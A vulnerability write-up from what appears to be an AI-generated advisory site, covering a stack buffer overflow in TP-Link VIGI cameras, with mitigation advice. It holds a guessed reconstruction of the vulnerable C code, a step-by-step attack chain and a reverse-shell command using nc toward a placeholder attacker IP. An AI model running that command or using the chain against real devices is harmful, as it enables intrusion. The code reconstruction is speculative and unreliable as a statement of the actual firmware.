CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-1457

Watching the Watchers: Rooting TP-Link VIGI Cameras via Stack Overflow

Alon Barad
Alon Barad
Software Engineer

Jan 30, 2026·6 min read·87 visits

Executive Summary (TL;DR)

Authenticated stack-based buffer overflow in TP-Link VIGI C385/C485 cameras allows adjacent attackers with admin credentials to execute arbitrary code as root. Patched in firmware 3.1.1 Build 251124.

It is 2026, and apparently, we have learned nothing about memory safety. TP-Link's professional VIGI surveillance line falls victim to the oldest trick in the book: a stack-based buffer overflow in the Web API. This vulnerability allows an authenticated attacker on the local network to turn a security camera into a root-privileged pivot point.

The Hook: Who Watches the Code?

We trust surveillance cameras to guard our perimeters, warehouses, and office lobbies. The TP-Link VIGI series is marketed exactly for this professional tier—robust, high-definition, and supposedly secure. But there is a delightful irony in security appliances that cannot secure themselves. While the VIGI C385 was busy looking for motion in the parking lot, it failed to notice the massive string of bytes being shoved into its Web API.

CVE-2026-1457 isn't some complex logical bypass or a race condition in a cloud synchronization protocol. It is a stack-based buffer overflow. Yes, the kind we were writing Phrack articles about in the 90s. The kind that happens when a developer assumes, "Nobody would ever send a string longer than 256 bytes, right?"

This vulnerability gives an attacker—provided they are on the local network and have authenticated access—complete control over the device. It transforms the camera from a security asset into a perfect, silent persistence point on your internal network. It runs Linux, it has network access, and nobody runs EDR on a camera.

The Flaw: A Blast from the Past

The vulnerability resides in the camera's Web API component, specifically in how it handles configuration requests from authenticated users. The root cause is a classic lack of input sanitization. When the API receives a specific parameter (likely related to system configuration or logging), it copies that user-controlled data into a fixed-size buffer on the stack.

The developers likely used a function akin to strcpy or sprintf without enforcing a length check. In C/C++, these functions will happily keep writing past the end of the destination buffer until they hit a null terminator in the source string. If the destination is on the stack, the overflow overwrites adjacent memory variables.

In the memory layout of a function call, the "return address" (the instruction pointer telling the CPU where to go after the function finishes) sits just above the local variables on the stack. By overflowing the buffer, we don't just corrupt data; we corrupt the control flow. We overwrite that saved return address with a value of our choosing. When the function tries to return, it doesn't go back to the main loop—it jumps wherever we tell it to.

The Code: Anatomy of a Stack Smash

Since we don't have the raw source code (it's proprietary firmware), let's reconstruct the crime scene based on the vulnerability class. The vulnerable logic almost certainly looks like this standard embedded web server pattern:

void handle_api_request(char *user_input) {
    char config_buffer[512]; // Fixed-size stack buffer
    
    // VULNERABILITY: No length check on user_input!
    // If user_input is > 512 bytes, we smash the stack.
    strcpy(config_buffer, user_input);
    
    process_config(config_buffer);
}

When handle_api_request is called, the stack frame looks roughly like this:

  1. High Memory: [ Saved Return Address ] <--- Target
  2. Mid Memory: [ Saved Frame Pointer ]
  3. Low Memory: [ config_buffer (512 bytes) ] <--- Writes start here

If we send 600 bytes of 'A', the write starts at the buffer, fills it, overwrites the frame pointer, and then clobbers the Saved Return Address. The CPU eventually pops that corrupted address into the Program Counter (PC/IP), crashing the process—or executing our shellcode.

The Exploit: From Admin to Root

Exploiting this requires two things: adjacency and authentication. The CVSS score (8.5) reflects the fact that you need High Privileges (PR:H), but don't let that lower your guard. In the real world, "High Privileges" on a camera often translates to "admin/admin" or the default password printed on the sticker that the installer never changed.

The Attack Chain:

  1. Recon: The attacker scans the local network (192.168.1.x) and identifies the VIGI camera web interface.
  2. Access: The attacker logs in using compromised credentials or default settings.
  3. Payload Generation: We craft a malicious HTTP POST request. The payload is a cyclical pattern to determine the exact offset of the return address, followed by the address of a ROP (Return-Oriented Programming) gadget.
  4. Delivery: Send the request. The firmware parses it, strcpy executes, and the stack is smashed.
  5. Execution: On function return, the CPU jumps to our ROP chain. Since this is likely an ARM architecture, we might just jump to system() with an argument like /bin/sh -c 'nc -e /bin/sh 192.168.1.50 4444'.

Because the web server usually runs as root on these embedded Linux devices to manage hardware interfaces, our shell inherits those permissions. Game over.

The Impact: The Spy in the Server Room

Why does this matter? "It's just a camera." That is exactly what makes it dangerous. Surveillance cameras are often placed on privileged networks to stream video to NVRs (Network Video Recorders). They have access to network segments that guest Wi-Fi does not.

An attacker with root access on a VIGI C385 can:

  • Pivot: Use the camera as a SOCKS proxy to scan and attack other internal servers.
  • Spy: Loop the video feed (Ocean's Eleven style) or exfiltrate audio/video to watch the security guards.
  • Botnet: Join the device to a DDoS botnet like Mirai. It has a decent CPU and high-bandwidth uplink.
  • Persistence: Cameras are rarely rebooted and almost never wiped. An implant here lasts for years.

The requirement for authentication mitigates the risk of a generic internet-wide worm, but for a targeted insider threat or an attacker who has already breached the Wi-Fi, this is a golden ticket.

The Fix: Closing the Window

TP-Link has patched this in firmware version 3.1.1 Build 251124. If you are running VIGI C385 V1 or C485 V1, you are vulnerable until you update. The fix likely involves replacing the unsafe strcpy with strncpy or explicitly checking the input length against the buffer size before copying.

Immediate Actions:

  1. Patch: Log in to the VIGI web interface or use the VIGI VMS to push the update immediately.
  2. Segment: Why can the marketing intern's laptop ping the security camera? Isolate your physical security devices on a dedicated VLAN with strict ACLs. Only the NVR and the management station should talk to these IPs.
  3. Password Hygiene: This exploit requires authentication. If you are still using default passwords in 2026, the buffer overflow is the least of your problems. Rotate your admin credentials.

Official Patches

TP-LinkOfficial Security Advisory and Firmware Download

Technical Appendix

CVSS Score
8.5/ 10
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Systems

TP-Link VIGI C385 V1 (< 3.1.1 Build 251124)TP-Link VIGI C485 V1 (< 3.1.1 Build 251124)

Affected Versions Detail

Product
Affected Versions
Fixed Version
VIGI C385 V1
TP-Link
< 3.1.1 Build 2511243.1.1 Build 251124
VIGI C485 V1
TP-Link
< 3.1.1 Build 2511243.1.1 Build 251124
AttributeDetail
CVE IDCVE-2026-1457
CWECWE-121 (Stack-based Buffer Overflow)
CVSS v4.08.5 (High)
Attack VectorAdjacent Network
Privileges RequiredHigh (Admin)
ImpactRemote Code Execution (Root)
StatusPatched

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1210Exploitation of Remote Services
Lateral Movement
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-121
Stack-based Buffer Overflow

A stack-based buffer overflow condition where a program writes to a memory buffer on the stack's call frame, overwriting adjacent memory locations such as the function return address.

Known Exploits & Detection

N/ANo public PoC available as of late Jan 2026. Theoretical exploitation requires authentication.

Vulnerability Timeline

Vulnerability Published
2026-01-29
Vendor Advisory Released
2026-01-29

References & Sources

  • [1]TP-Link Advisory FAQ 4931
  • [2]Positive Technologies PT-2026-5328
  • [3]NVD - CVE-2026-1457

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
9 views•8 min read
•2 days ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
9 views•5 min read
•2 days ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
11 views•6 min read
•2 days ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
18 views•5 min read
•2 days ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•2 days ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
11 views•6 min read